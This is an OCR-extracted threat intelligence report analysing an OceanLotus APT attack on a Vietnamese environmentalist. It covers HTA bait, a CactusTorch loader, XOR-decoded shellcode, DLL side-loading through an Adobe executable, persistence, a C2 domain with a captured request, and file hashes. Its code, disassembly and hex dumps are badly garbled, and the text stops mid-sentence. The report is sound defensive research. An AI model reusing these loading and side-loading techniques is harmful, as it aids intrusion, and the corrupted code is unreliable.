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The OceanLotus, an APT group said to have a Viethamese background, was first exposed
and named by SkyEye Labs (the predecessor of the RedDrip team of QiAnXin Threat
Intelligence Center) in May 2015. Its attack activities can be traced back to April 2012 with
initial targets including Chinese maritime institutions, maritime construction, scientific
research institutes and shipping enterprises. Their targets expanded to almost all important
organizations afterwards and related activities are still active now.

The RedDrip Team (@RedDrip7) keeps a close eye on activities made by OceanLotus. Last
month we released an in-depth analysis report: OceanlLotus’ Attacks to Indochinese
Peninsula: Evolution of Targets, Techniques and Procedure. Currently we capture another
attack incident targeting a Viethamese environmentalist with new malware payload and hope
the revealed details could lead to more findings in the future.

Bait Analysis

The bait sample is a zip archive in Vietnamese: Théng tin vé chuyén d& méi trudng_Nho
anh Bang Vi Lwong tw van thém.zip

From the contents of the compressed package, the three pictures named in Viethamese
meaning "illustration" respectively show that there is garbage in the rivers in Vietnam, the
factories are exhausting smoke everywhere, and the stinking ditch is all garbage. All these
pictures make people feel disgusting. At the same time, it shows the importance of
mandatory waste classification.
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> Thong tin v& chuyén d& maoi trudng_Nh& anh Bang Vi Ludng tu van them v & | #E'Théng tin v& chuyén d.. ,

pr < £ — k3
Minh hoa 1.jpeg Minh Hoa 2,jpeg Minh hoa 3.jpeg

Thumbs.db Van nan mai truong Viet Nam hien
nay va giai phap khac phuc hau
qua_Phuong huong trong thoi gian
toi .hta

In addition to the picture, the main attack sample is an hta script named as Van nan moi

truong Viet Nam hien nay va giai phap khac phuc hau qua_Phuong huong trong thoi gian toi.

It can be seen that both the bait name from the compressed package and the bait name as
the attack sample are consistent with the scene of attacking the person in charge of the
environmental protection organization.

Therefore, we will characterize this attack as: Oceanlotus attacked the head of an
environmental protection organization in Vietnam.

Sample Analysis

Execution process of the sample used by OceanLotus this time is roughly as follows:
1. The hta sample decrypts and loads subsequent additional data.

2. Utilize DLL Side-Loading to take advantage of adobe reader to load the payload and
then connects to the C2.

Payload Analysis

The hta script has been obfuscated and will replace ",", ".", " " with "+", "/" "="first:
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Figure 2.1 The confused hta script
The script is generated by using the cactusTorch framework

(https://github.com/mdsecactivebreach/CACTUSTORCH), which first decrypts the Loader
module, then decrypts the attached data through the Loader module, and finally executes the

decrypted shellcode in memory:

204 Set DotWhanZamCemChum  =QUAnggHut  (  "WScript.Shell")

205 DotWhanZamCemChum.RegRead "HKLM\SOFTWARE\Microsoft\.NETFramework\"+ Hang + "\"
206 iF ERR.nuMber <> @ ThEN exIT FUnCTIOn

207

208

209

210

21 sEt TitChod = DotWhanZamCemChum.Environment  ("Process” )

212 TitChod (  "COMPLUS_Version™ ) = Hang

213

214 SEt Did  =qUANGGhuT ( Ded )

215 Set QuusQuangWungQuangQuing = QualgGHUt(  “System.Collections.Arraylist” )
216 QuusQuanghungQuangQuing.Add Did.SurrogateSelector

217

218

219 SosNoc = CasQuemYicSew ( GhedXemQuacGhim)

220 sEt QuusYiw = Did.Deserialize_2 (NingGhac ( SosMec,LicFungMoc- 57489 ,Ghang  -51313 , SisPupH )
221 sET  WinShusWenTun = QuusYiw.DynamicInvoke (QuusQuangWungQuangQuing.ToArray ( ) ).Createlnstance
222 Ghew = WinShusWenTu ( 1632689155 ,, 194 , 1292962 )

223 wINDow.close

224 DO wHilE ( tRUE)

225 looP

226 enD funCtION

Figure 2.2 Loading Loader in Memory
The parameters passed to the Loader's "X" function are as follows:

WinShusWenTun.X ( 1632689155 ,31529 ,194,1292962 )

The meaning of each parameter is as follows:

Name Value Description

Parameter 163268915 4-byte key, just use the first 3 bytes (0x03, Oxdc, 0x50)
1 0x6150DC03)

Parameter 31529 The position at the end of the script, which points to

2 the appended data.

Parameter 194 The length of the name of the released docx file

3

Parameter 1292962 Size of the appended data

4

The second parameter is the beginning of the appended data:
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L4141
00031328
00021344
00031360
000321376
ooo3139z2
o0o0=1408
00031424
00031440
00031456
00031472
00031488
00031504
oo

00031536
00031552
00031568
00021554
00031600
00021616
00031632
00021645
00031664
00021680
00031696
ooos1712
00031728
00031744
00031760
00031776
ooo3179z2
00031808
oooz1:824
00031840
000321856
00031e7z
000=1888
ooo31404

Figure 2.3 Append data behind the hta file

Loader Analysis
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52
20
57
33
2C
20
aD
a7
3z

35
63
2E
4F
76

4F
45
30
56
58

73
34
39
78

68
70
33
70
4F
70
4F
70
41

]
aF
45
20
68
31

2C
04
68
37

39
72
53
49
42

oo
49
31
57
4D
63
69
31
77
51

63
al
76
&D
38
&D
2E
&D
39

2U
43
41
20
61
39

35
20
61
22

37
69
4B
64
74

0a
45
54
67
44
7h
59
49
62
41

78
78
39
78
64

46
78
78

2U
42
41
4D
77
22

39
4D
77
2C
75
33
70
75
4c
aC
34
34
&F
78
7R
63

72
36
72
39
6E
33
a3
63
63
63

63
63
a1

21U
77
41
69
20
2C
74
37
69
20
20

38
74
48
68
56

4F
61
49
SA
a0

46
34
4D
78
6E
BE
33
79
TR
34

78
41
41

Zb
41
41
70
20
20

38
70
20
20

20
3E
33
69
6D
47
a3
36
41
31
71

77
&C
30
51

67
63
33
77
BE
65
33
39
39

2U
41
4B
53
20
44

33
53
20
20
2C
20
oD
66
32
6D
55
6B
58
77
30
44

59
62
SA
41

44
52
6E
46
6E
52
6E
78
78

2U
41
43
6
20
aF
74
20
68
22
44

2C
0&
68
51
64
&l
44
71
54
46
64

4c
66
76
31

77
4B
67
XY
67

67
51
a1

2U
41
77
73
22
6E
20
20
75
76
6F
20
32
36
Ba
50
33

42
&F
A
2C
7R
55
30
77
42
32
6E
48
44
44
44
44

44
41
41

22
6B
20
a0
76
a7

2C
0]
3z
6E
36
30
2E
4C
35
73

49
SA
aF
53
6B
=18
2C
35
64
55

6F
30
78
78
77

34
39
A

44
54
20
a0
34
58
2C
20
50
2E
67

20
33
SA
42
4E
7R
a4
SA
70
75
43

62
62
44
33

4C
a0
6E
72
4A
=18
34
78
43

44
41
22
63
2E
73

20
65
30
56

aD
41
55
23]
36

42
66
76
4R
6E

62
66
74
59

64
31
31
31
6F
31
35
51
a1

L
41
20
74
30
74

36
74
2E
75

0&
45
66
55
68

3=}
2
61
78
46

4D
77
SA
4F
43
aD
73
73
73
48

59
41
36

41
41
20
42
2E
20

20
42
35
74

3c
4E
73
39
6E
64
4D
76
76
46
78

6B
55
30
56

0&
39
74
39
4E
39
4c
39
3=}

41
41
oD
a1
33
20

20
61
30
2C
2
2F
79
4D
45
63
GE
37
61
33
70
75

49
54
41
70

43
43
41
43
43

53
78
a0

uus e "l HwAs
Abo JBwAAAAKTARRA
CREARAAFCwW "
MipShumPetBa
pWhamr w4 .03
0319", DongXut
.ChetFit ,BB78
5 ,59785 , 6
. MipShumPetBa
pWhawr "v2.0.50
727", DongXut,
Quus , BB725,
59738 .20 .47

scriptr. | 6. 3AEN

u.3EuH3fh jLZUE sM
NOIdLhi2QPSELUSE
EvBtlVmmd 3sNGhne
HyYywATEUmDY = 10dn
o0, . 405kDBEIdBhM7
TEIEoabXqoZif ,va
S01T2IAWT Zopvav 3
oViWgzZ10F . SuJ=zFp
1¥MDecPgDdzkChFzu
90czvOEa7UjIowih
Lsi¥rFwYLO, hbMkI
7411641 bfwShfwlT
I9whrM0Zv JdDLZ0A
9x0A9z0A12U03Y0VR
mzcxnngDznls9Cc3
uhex3ngDwlold. .C
Fpmzc3eREDOP 159C
c3v9cyIngDen lstd
QpmzeczwE jDzrls9C
008de dnng Duw JoHNC
Zpmxe3eR7Dx ] 1s9C
00.Fcx3ngD445YL3
VpmzoA9xQA9x(A IR
QA9x0A9z0AZHOEhE

The decrypted Loader module is named L.dll. The function of the dll is mainly to decrypt and
load the appended data behind the hta:
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Figure 2.4 Some functions of Loader
The X function is mainly to encrypt and load the shellcode; the decoding algorithm is base64

and then performs XOR decryption with the key in single byte, and the key is passed by the
parameter:

Figure 2.5 X function of L.dll
The key here is 1632689155 (0x6150DC03). From the algorithm, only the first 3 bytes (0x03,

Oxdc, 0x50) are used in while performing XOR decryption:

rm = [int,
buf [i] = ( Jlrm & 2

Figure 2.6 L.dIl decryption function
Then the decrypted data is executed in memory:

num = b.
{ram %

rumt+-;

ptr . [ .Zero, num, A09¢
i o i)

i, b[il};

Figure 2.7 function B of L.dll
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The function of the shellcode executed by Loader is mainly to release the file and achieve
persistence. As can be seen from the code features, OceanlLotus often uses the shellcode to
perform attacks.

seé&&&:&&13932E lea esp, [esp-4]
seglRe:8a139a32 pushf

Segoee:ea139a33 push eCx

Segee:ea139a34 shl ecx, 3

seglae: Ba130a637 push ebx

Segoee:ea139a33 inc bh

Seghas: Bal3easA or ecx, ecx

seglee: Ba13963c shl x, 6
segoae:ea139a40 push eax

seghas:ealioedl aaa

Segeae: ea139642 push edx

Segeee:ea139e43 cwd

segBRe: Ba139845 cwd

segepa:eali0e4y mov eax,
Seghaa:eal3oe4c mowv ecx, @DE43h

seglan: Ba139a651 mul ecx

Segoee:ea139as53 neg al

seghas: 88139855 bswap  ebx

seglae: ea139a57 mov ax, 6Ch ; "1'
seglae: ea139a58 mov cx, 58h ; "P'
segae: 8a813985F mul X

segepe:enl3oes2 stc

Segee:ea139863 sahf

seglRe: 8a139864 push ecx

Segoee: ea139a65s chw

segas: 8a139867 bswap  edx

seglae: Ba139669 inc edx

segoae: ea139a6A or dh, dl

seghas: 8a13986C cdq

segeee: ea139a6D mov edx, [esp+lCh+var_18]
segoae:ea139a71 das

seglRe: 8a139a72 mowv bx, cx
Segeae:ea139a75s mov ebx, [esp+lCh+var_1@]
segeee:ea139a79 mov ecx, [esp+lCh+var_C]
seg@pa: eal130a7D aas

Segoee:eal139a7E mov eax, [esp+lCh+var_3]
seghas: 88139882 push eax

seghae: Ba1306383 popf

segae:ea139a34 mov eax, [esp+lCh+var_14]
seghae: 88139883 lea esp, [esp+18h]
Segeae: ea139a3C mov [esp+a+var_4], ebp
Segeee: ea139asF mov ebp, esp

seglRe: 8a139a91 sub esp, JEBh
Segoee:ea130e97 mov eax, fs:dword_3@
segeee: ea139a9D push ebx

Figure 2.8 Shellcode frequently used by OceanLotus
After shellcode is loaded in memory, it will load the dll file in memory after execution.

> 31) ~ @xES;
ed int “)&_E

20588;
ulong(__ROL4__(v34, 1));
}

Figure 2.9 Loading DIl into memory by shellcode
Subsequently released files are stored in the resource, and the PE file to be released is
extracted from the resource data through RtlDecompressBuffer:
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v@ = GetModuleHandleW(L"ntdll.d11");
if ( lve )
return 8;
if ( !&fun_RtlGetCompressionWorkSpaceSize )
return @;
fun_RtlGetCompressionWorkSpaceSize = @;
v2 = GetProcAddress(ve, "RtlGetCompressionWorkSpaceSize™);
if ( vz )
return 8;
fun_RtlGetCompressionWorkSpaceSize = (int)v2;
if ( !&fun_RtlCompressBuffer )
return @;
fun_RtlCompressBuffer = @;
v3 = GetProcAddress(ve, "RtlCompressBuffer™);
if ( w3 )
return @;
fun_RtlCompressBuffer = (int)v3;
if ( !&fun_RtlDecompressBuffer )
return @;
fun_RtlDecompressBuffer = @;
v4 = GetProcAddress(ve, "RtlDecompressBuffer™);
if ( lva )
return @;
fun_RtlDecompressBuffer = (int (_ stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))w4;
return 1;

Figure 2.10 Get the address of the decompression API
The resource names are 0x65 and 0x66. As shown in the figure, if the 0x65 resource does
not exist, it will get 0x66 resource instead.

19

== R e R T v e )

I Y R N SRVl O SRR ey ¥

I

CoInitialize(@);
LOBYTE(v4) = sub_B8B4DIe();
if ( (_BYTE)v4 )

{

v5

= (HMODULE)off_8C3FAG;
( off_8sC3FA@ )

i
i

if (
1
if (o)
{
vE = 83
w4 = (signed int ")fun_GetResourcaDat4(Gx%Eu, (LPCWSTR)@x66, v5, (LPCWSTR)@x328, (int)&vE);
if (va)
if (vE )
LOBYTE(v4) = sub_8B1B1@(ve, v3, (int)vd, vE);
}
}
}

}

return (char)v4;

Figure 2.11 Obtaining resource data
The obtained resource data is as follows, including the file name, file size, and compressed

data:
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Figure 2.12 Raw data in the resource

Then get the exe and dll file names in system32, Program File and Windows directory, insert
them into the array, then randomly generate a random number, randomly select a file in the
array, get the file name and file description of the file as the name of the dropped exe file and
related folder name respectively:

- 8;
sub_8B271@(L"*.exe", & » 8, 1, & .dwLowDateTime);// Get the exe name in the system32 directory
& , 8,1, & .dwLowDateTime);// Get the dl1l name in the system32 directory
ingsW(L"#ProgramFiles¥”, & » @xledu);
tsh(&
{
lstrepyW(&: » &Buffer);
8;
PathAppendud (& , L"Program Files");

lstrcpy(&: :Stringl, & H
.dwLowDateTime = @;
.dwHighDateTime = @;

= a;
LOBYTE(v37) = 13
sub_8B271@(8, & , 1,8, & .dwLowDateTime);// Get the file name in the program files directory
sub_sB271@(8, &Buffer, 1, @, & .dwLowDateTime);// Get the file name in the Windows directory
if (! )

= L ey

= 8;

fun_memset({_ mi28i *)&v1c, @, 8x206u);

Lstropyh (& » H
PathAppendu(&: » )5

H
fun_memset({_ m128i *)& 18, @, 8x286u);
.dwFileAttributes = @;
fun_memset({ )& .ftCreationTime, @, Bx24Cu);
= (char *)FindFirstFilel(& s & '
= H
= +1 1= a;
for (i =v7; H = FindNextFileW(v7, & 1)
= .dwFileAttributes & Bx18;
if ( (23 && == @x18 || & = ox10) &% .cFileName[@] != '." ) ime) / 28));
i
Lstrcpyid )i
PathAppendu (& » .cFileName);
LOKORD(v12) = 8;
=7
= 8;
sub_8B322@( (unsigned int » 812, weslen(d H
= 8;
IH

sub_8B3@8@( (unsigned int
= -1;
if ( »>=8
sub_8B511B( '

H
I
if ( '= (void *)-1)
= FindClose(v7);
return H

S5}

Figure 2.13 Get the file name of the specified directory
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If rasman.dll is randomly selected, it will get the file description as the name of the folder
where the malicious code was released. Here is the Create Remote Access Connection
Manger folder for placing malicious code.

 rasman.dll [BtE @
ETENL: o APE s
Bt IE]
pLtilz

ﬁ1¢1ﬂﬁﬁ Remote Access Conmection Manager
Eatil] F R R

SRS 6 1 TROO. 16365

F;%-EW Microsoft® Windows® Operating System
FermiEd 6.1 TROO. 18365

ety @ Microsoft Corporation. All righ. ..
i T5.0 KB

{ExrHEBR  =2009/7/14 9:18

5 @mig EE)

[Ei557 {443 Rasman. d11

| @eE || BE || ERw

Figure 2.14 File description of rasman.dll
If the File Description field of the selected file is empty, this will use the default folder name
"NLS_000001":
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1lbool _ usercall fun_Dropperfi<al>{WCHAR *alfi<edx>, FILETIME
2

5| signed int vé; // ebx

4 int v7; [/ eax

5| WCHAR *v8; // [esp+lBh] [eb

6| int v18; // [esp+lah] [

7 FILETIME *v1l; //

8| WCHAR string2; // [

9| char vi3; // [esp+22h] [ebp-86h]

18

11

12 13

13 2 =8

14/  BBOCAB(( 1281 *)&13, B, @xTEu);
15| PathAppendW(pszPath, ptore);

16| if ( PathFileExistsW(pszPath) )

17

T T O N O N R )
NEWRE ®00 0 0nE W e

141 LOWORD( LpString2) = @;

142 sub_BB227@(&lasticcessTime);
143 sub BB227@(&Lastlrit

144 return 8;

145 3

146 }

Pathappehdi(pszPath, L"NLS_");
1

H
1strlenW(pszPath);

th[v7] = @85

sub_B8B1888( (const char *)L"%861u", 1);
1strcatW(pszPath, &String2);

while ( PathFileExistsW(pszPath) )

+HV6j

Sleep(lu);

pszPath[vie] = @3

sub_8B1888( (const char *)L"¥B61u", v6);
1strcatW(pszPath, &String2);

return sub_8B435@(=3, v1l, pszPath, a4, vo) I= @;

Figure 2.15 handling the case when the field is empty

In the following 2 folders ("Program Files", "%appdata%"), it creates a subdirectory (the
name is a randomly selected "file description" content). If there is no permission to create a
directory under "Program Files", it will be under %appdata%":

» LPWSTR pszPath)

Figure 2.16 Creating a subdirectory
Then release the 10 files decrypted in the resource to the newly created directory; in our
case the released directory name is: "C:Program FilesRemote Access Connection Manager",
which is based on the description of the file randomly selected.

The name of the exe file is the name of the randomly selected file.

Rasman.db3 is the shellcode to be loaded.

127 PathstripPathW(&ptore);

128| PathRemoveExtensionW(&pMore);

129 lstrcpyW(&Dst, &::Stringl);

138 w8 = v28;

131 if { !fun_Dropper(&ptore, v2®, v21, a4, &pszPath, &Dst) )
132 {

133 D=t = @;

134| | ExpandEnvircnmentStringsW(L"¥appdata%", &Dst, @xledu);
135 if ( !fun_Dropper(&ptore, v8, v21, a4, &pszPath, &Dst) )
136

137 if ( v22 2=8)

138 sub_BB511B( (void *)lpString2);

139 w23 = @;

148 Vit = 7;
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[C:\Program Files\Remote Access Connection Manager]

AZTFR v gy FrETitE

& il Fi
@] Acedll ] 11,441 KB
=] Acm.dll 9 11,441 KB
FumE 2] B1Bd ] 11,441 KB
%] CoolTypeddll 9 11,441 KB
] MicrosoftVC80.CRT.manifest ] 1k
=] Msvepso.dll 9 11,441 KB
2] Msvcreo.di ] 11,441 KB
|| rasman.db3 9 910 KB
Pl rasman.exe 2010/11/21 5:29 246 KB

Figure 2.17 Released file
Then it will be written into the registry run item to achieve persistence.

At the same time, an empty docx file will be created under temp folder and then opened, so
that the victim thinks that it is a docx file:

Thong tin chi tiet nhung san pham can dat hang qua shop zero waste_Bao gia chi tiet san
pham.docx

|8 Thong tin chi tiet nhung san pham can dat hang qua shop zero waste_Bao gia chi tiet san pham.docx 2019/6/17 18:14  Microsof ft Word 0KB

Figure 2.18 The created docx file

English translation of the file name: The details information about products need order shop
zero waste details price list

Dropper Analysis

The released rasman.exe is a legitimate file: Adobe 3D Utility:
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-
I rasman.exe Bt%

BEAEST S A3DU+Hility. exe

£l | @i | #iFgE | Heshlab
Z2 | R LA
Bt (]
TER
hdobe 3D Utility
#Al Lz
MiRE 10001
FE.':.:EEBF tdobe Acrobat
EoiEE 10001
[Sire ) (c] hdobe Systems Ine.  A11 right. ..
ol 245 KE
{ZprERE  z010/11/21 5:29
5= ong FEE)D

e [ mAE |

Fif &)

Figure 3.1 Version information of rasman.exe

Rasman.exe will load dlls in the same directory by default, including AGM.dll, BIB.dlII,

CoolType.dll and ACE.dll, which could lead to DLL Side-Loading:

HER
Jdent
rdata
.data
FSrc

reloc

SFHE SIA®
MSVCR80.dIl

CoolType.dll
AGM.dI
ACE.dIl
BIB.dll

Figure 3.2 Import table information of rasman.exe

N

m

12/17



The code of the 4 dlIs is the same, is the hijacked dll, will be loaded by rasman.exe program
by default. Although 4 dlls have the opportunity to execute dlimain, the only dll that loads the

next stage payload is CoolType.dll because the attacker designed a flag variable to control
whether the next stage payload needs to be loaded:

MD5

File Name

Size flag

Comment

9cab38aeb4ce87936b1a993ef8e285fa

ACE.dlI

11441Kb Ox8F

Loader filled
with useless
data

0a9d3ffff6083a015ab72117cba84fel

AGM.dII

11441Kb Ox8F

Loader filled
with useless
data

840c754098c47 3faff6fd22ddb8163b7

BIB.dII

11441Kb 0x6D

Loader filled
with useless
data

a8ff3ebabe26c4ce72267154cab04ce3

rasman.db3

910Kb

Shellcode file
with random
name

e84927bc7e4bef6af8daf8640d95325e

rasman.exe

246Kb

Legitimate
executable
with random
name

d7¢72d9394dc6e519dbce21830eb37cb

CoolType.dll

11441Kb  0x27

Loader filled
with useless
data, load
shellcode

f5220efbe14b98ac06bc2cadef5c0f23

MSVCP80.dlI

11441Kb

Library
functions
populated
with useless
data

321c4d24da35f39c4ab145b6cfc4dal9

MSVCRS80.dll

11441Kb

Library
functions
populated
with useless
data

The code at the entrance of AGM.dIl indicates the two if judgments will not enter, because
the value of flag is 0x8f, which is greater than the first two judgments, so the subsequent

payload will not be loaded:
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: X17cB93 ITSbICFiVxlpaBVwicjxqiASaHQOF ThTtn" , &String2);
= (DWORD)GetModuleHandlel (8) ;

7EXL7cB93Tr ITSbICE ivxlp: q Thitn" )
16
17 result = SErStrIA((LPCSTR)™ i 71 ITSLICFi¥iclpaBludcixqiASaHQOF ThItn", "@");
1B Ef ( £
19
20 if ( result ¢= (LPSTR)"cS@AchvmTr 7EXL7cB03 ITSbICEivxlp: q Thin" )
21
2 - (unsigned _int8)resule[se]; ST TIGEESTET
2 = 4gworo ). 21) &1 rdata:100092E4 text "UTF-16LE", 1,0
24 +2) » 1 rdata:10899268 ; const WCHAR First
2 § 1t + 1125 rdata: 10899268 First db " @RNXCS@AChUMT NS XriViXGWATEX17 TSbICF iYxIpaBuwdcix”
26 dword_168296C0 - (int)AGH_5_0; - - e
27 AR rdata:100092€8
2 i rdata:100892E8 db *qiAS4HQOFTRItN' 8
2 I (v <= 05 ) T T flag > 0x64
3 . |.rdata: 10009333 o
ot V2)3| rdata:10009338 o
2 rdgt 3 o
= Tdata:1000933C db 92h
4 rdata:1006933D db 2
> -rdata:166e933E d o
37
38
39 2));
0
4 0 )
a2
43
4
s
46
47
48
49 3
s0 }

Figure 3.3 DIIMain function of AGM.dlI|

The code of the CoolType.dll code is 0x27, which is less than 0x46, so it will enter the first if

condition and execute fun_LoadExportFun:

if ( "eMqdSbhUVCP iyx0(imn6xSVPcTa2haDIRHaz ivCDtriEs6AAXYqZbHATKapATVDAt chasQjilzz1MGZY" )
1

= StrStrIA((LPCSTR)"BHdSEhUVCPiyxXAwn6xSVPcTa2haDIRMaz ivEDEr iESGAAXYGZbMAIKap4TV AL cnasQiilzz IMG2Y", "0");
)

¢ = result + 1125
dword_10829ECe = (int)CoolType_4_9;
i 1)

if (

29 if (vl <= oxap ) m—

.
g

ok

fun_LoadExportFun((int)(result + 112), v3, v2);
t = 8va 5

§5EY
ss p

1pStringz =

A[v3 + 4] // {ansapasE-
return -rd

2);
esult 4

greETEeEe
ssocosse

gee
s

2 1= 82 -52 : -112;

54+3) =213
5 + 4) = Bdword_10829EC0;

1t = &va[v3 + 4]
5 IpString2 = (LPCWSTR)&VA[VS + 41;

Figure 3.4 DlIMain function of CoolType.dll

The function of fun_LoadExportFun is mainly to cover large code at the entrance of exe, loop
into the garbage code appearing in the configuration, the size is 0x20610 bytes, then add the
code 0xff, 0x15 at the end, and finally connect the address of the export function of AGM_5,

db 'nasQjilzzlMGz

1 s

e
&
8
=

db ' @SHAREDRM IR IR BvTfeIa] CITHEH[RIBCT
d

if (
{
if ( result <= (LPSTR)"SbhUVCPiyxXAwn6xSVPcTazhaDIRMaz ivEDtriEs6ARKYqZbMASKap4TVDALcnasQ i1z 1MG2Y" )
1:[se];
t421) &1 CHAR 3@mqdsbhuvepiy
Syresult & 21) > 13 db " erqdSbhUVCPi TazhaDIRHaziv(DtriESGAAXYGZMAIKApATVBALC"

',e

——p a0 < 0x46

£y

Junk code

°
aKHCbHrsPhtRKgW db ' k@nifice i iRursIRarHT I EEER [ KO [weHBIHTE Zap [VkB EAREHT B B xek BB v B o Eh Y1
do ¢

A WaAl 1T iReeds cziBxIscac P TSR

i vaeEseE zHec B kaPAtKIE
XZYP',0

Mutex

', '{4A84D5SE-AR9C-4172-8896-C6FSDBSS83CB} ", 0

only In order to finally execute the code that loads the shellcode:

14/17



fl0ldProtect = @;

& W Ca

return @;
11 V7 = 83
f({a3)

=
[RTRN S

i
1

5

=g

22

23 H

24 *Yva 5
25 “Ive + 1
26 (vo + 2
27 “I(vo + 3
28| *(_DWORD *)(v9 +
29 return 1;

EN

Figure 3.5 fun_LoadExportFun

When the program returns to the exe process space, it will jump back to the code range
covered by fun_LoadExportFun to continue running, and finally execute the AGM _5 function,

pi R
if ( !'WwirtualProtect(a2, a3, @x40u, &F10l

@ ? @xCCu : @x98u;

Bx98u;
BxFFu;
ax15;

F &addr_AGM 5 @;

mainly to avoid being traced back to the execution flow:

Offset o1 2 3 4

noooooo0 4B 40 48 93 F& 43
noon0o0l6 40 50 48 54 92 5A
00000032 48 42 4A 48 91 48
noonoo4s 49 48 49 91 59 F8
00000064 44 92 43 43 FO 4A
00000080 43 43 59 40 48 49
00000096 43 93 4B 40 40 92

00000112 43 49 S50 49 91 91

00000128 48 S6 40 40 F9 91
00000144 4A 50 41 91 49 4B
00000160 49 F8 48 48 93 41

00000176 58 52 FB 92 49 91

00oooo19z 92 57 42 4A 41 SE
00000208 4B 43 90 58 58 5A

00000224 92 4B 48 52 53 90
oooonz40 52 5B 4B 51 5B 57

92  KEHIaCB“H EHRS. "
42  @PHT " Ze@ER [KQ [WE
F9  HEJH'HZAP [VEBQ "1
F9  IHI "YeRXPE @YE.1
F& J"CCuJKEI”JCHESm
90 CCYRHIAUAWAR ZJ.
40 CIEK@@’RCZ QXuACE
91 CIPI® ‘e[ “@ASHXH"
4B | HV@@n *@lAZHBECe JK
F9  JPAIK“YJeCE"U.u0
49 IeHHIA . HARSH BRI
49 XRa I ‘eJI@." . 0¥I
93 "WBJA[CIT. @H[RI
48 EC.REZYEEHIaCE 'H
40 | "FHRZ. "@PHT " Ze@@
50  R[EQ[WBHBJH HZAP
50 [VEBi "aIHI “YaRXP
F9  17JCHESeCCYEHIAN

00132544 5A 92 51 58 F9 41
00132560 91 40 41 53 48 58
00132576 41 SA 48 42 43 F8
001325592 4A F8 43 42 92 F9
00132608 41 40 53 48 91 42

00132624

00132640

0013 BaEZ1618|7| §2 ~7 7 T Wggehg”

0014 00421610 Isc; o

4216 inc

0013 00421618 un dec

0013 ses2161c| | w1 inc

0013 eos2161n| | 9 nop
0042161E nop

o FFi5 CovEotRe | call

00132702 ouw uu oo oo uu wo oo ou

Figure 3.6 A lot of padding code

When AGM _5 is executed, it first hides all the child windows of the process, then reads the
file with the suffix of db3 (here rasman.db3) with the same file name in the same directory,

and finally performs execution:

dword ptr [2C19ECO]
" bo wu oY

uuuug

Tl L EEL
SBE | Z7QKUACECIPI "w[
F9 | “@ASHXHHVE@E: “@u
59  AZHECeJEJPATIKY
48  JaCB"d.uleHHIA.H
4  A@SH BRIERa I aJ
FF | 1@.7 . 0¥YI"WEJA. .

so mush codes
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er = 8;

W(Name, lpString2);

e[Lstrlenii(Name)];
260;

; 1 & BxFFF; ++1 )

i, Bx1888u, Bx46u);

8, @8x206u);
GetModuleFileNameli(e, &
PathRenameExtensi F

47 aitForSingleObjectEx(v7, @xFFFFFFFF, 8);

18 CloseHandle(va);
ot

se| }
51 if (vl )

2 VirtualFres(vl, dwSize, @x400au)

Figure 3.7 Loading shellcode for rasman.db3

The loaded shellcode is a variant of the Denis family used by OceanLotus:

Offset o1 2 3 4 5 6 7 g 9 10 11 12 13 14

15

oooooooo | ES 81 0A OE 00 FE FE FE FE 7C B0 68 45 77 77

D3

& .. .bbbb| " hEwwl

oooooole  3C A4 90 DS 84 92 1D AE  BS 5D Y1 S5k CZ2 2k BC
oooooo3z  FS 84 DD 5D Ce EO DD 19 B9 E9 87 A6 78 CD 06
oooooo4s  DE SC 2D 81 6D 91 10 91 7e C2 Y71 FB 51 C& 03
ooooooe4 DY 97 SB FC 83 56 CB 6F  2A DC 16 85 Eb 44 41
ooooooso OB 21 07 93 60 AB 44 B2 BC 25 8B 8B FA 1C 54
oooooose  Ee DF Be EO E4 3B 4C 0& 1D 66 BF 158 DE 58 E1l
oooooliz 45 E1 3A FA E9 1D C6 EE 8D 58 AF CF 10 30 B4
ooooolzg 79 4D 1C 93 97 35 45 9C  VE 18 BA Ch EE SA CC
oooool44 61 FC 2B 07 C5 BF BE F5 CA E9 5A AS 1F 1F 5B
oooools0  EC ED 49 F4 79 79 05 D7 3B 94 4D 75 D8 7C F7
0ooool7e 06 BF 94 DS CO B0 31 9C 65 45 DB 2A 94 93 61
ooooolsz 74 EO 82 11 D C2 OE 1F BA OE 00 B4 09 CD 21
0oooozod 01 4C CD 21 54 6B 69 73 20 70 72 BF 67 72 61
ooooozZz4 20 63 61 BE BE BF 74 20 B2 65 20 72 75 BE 20
0oooozZ40  eE 20 44 4F 53 20 6D 6F k4 65 ZE 0D 0D 0& 24
0oooozZ56 OO0 00 0O OO 00 00 Fe 4F A7 E3 B2 2E C9 BO B2
oooooz72  C% BO B2 ZE C9 BO BE 56 4A BO B3 ZE C9 BO DD
ooooozZss 62 BO BY ZE C9 BO A% B3 57 BO A7 ZE C9 BO A9
oooooso4 B3 BO CF ZE C9 BO BE 56 5A BO BF Z2E C9 BO B2
ooooosz0  CB BO 2C ZE C9 BO A% B3 62 BO E2 ZE C9 BO A9
ooooos36 52 BO B3 ZE C9 BO A% B3 54 BO B3 Z2E C9 BO 52
oooooss52 63 68 B2 ZE C9 BO OO 00 00 OO0 0O OO 0O 0O OO0
ooooosed OO0 00 0O OO 00 0O OO 0O 00 OO0 00 OO0 00 00 55

Figure 3.8 Contents of rasman.db3

Then it connects to udt.sophiahoule.com and establish C2 communication, which eventually

causes the computer to be controlled:

2F
aF
54
Dg
B3
aC
1z
56
76
s
67
B&
6D
69
oo
2E
58
B3
2E
B3
69
oo

<EL@1T LBy gVASL S
alT=Eav.tel 'xl..
Bw-.m” . “vAquQE .z
UL [ 1VEa*. 12J20
<DL T
®hfaE:L. . fo.FXal
Ed:ue.£i.X 1.0°.
wM.LISEL™ . 2EiZ1V
aii+ . Ai»BEZE. | 1v
iildyy.x:1Mu@d|+.
LAIOAT 11eE0=1 lag
tal (@A, .2.. .11,
LIIThis program
cannot he run i
n DOS mode....3.
...... BO§E2 E° 2,
Ec2z E°»VI®s E°VY
b . E°@%°§ . E°@3
el E°»VEcs Eo2,
E®,.E°0%h°4.E°03
R®®,E°©3T°* E°Ri

POST /13/101916-Evuy-Buop-Edaam-Lait-Kh HTTP/1.1
Host: udt.sophiahoule.com

User-Agent: Mozilla/4.8 (compatible; MSIE 8.8; Windows NT 6.8; Trident/4.8)

Accept: =/=
Accept-Encoding: deflate, gzip

Referer: http://udt.sophiahoule.com/13/101916-Evuy-Buop-Edaam-Lait-Kh

Content-Length: 53
Content-Type: application/x-wwwi-form-urlencoded

B - E.="

LLLAl P a. jp. 2 Kl LB LHTTP/1.1 288 0K

Server: Apache/2.4.9

Set-Cookie: PHPSESSID=C2M7HE7LWWNUASGP7EDHDFLONFY3G;
Connection: close

Figure 3.9 Captured network packets
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The characteristics of this malicious code:

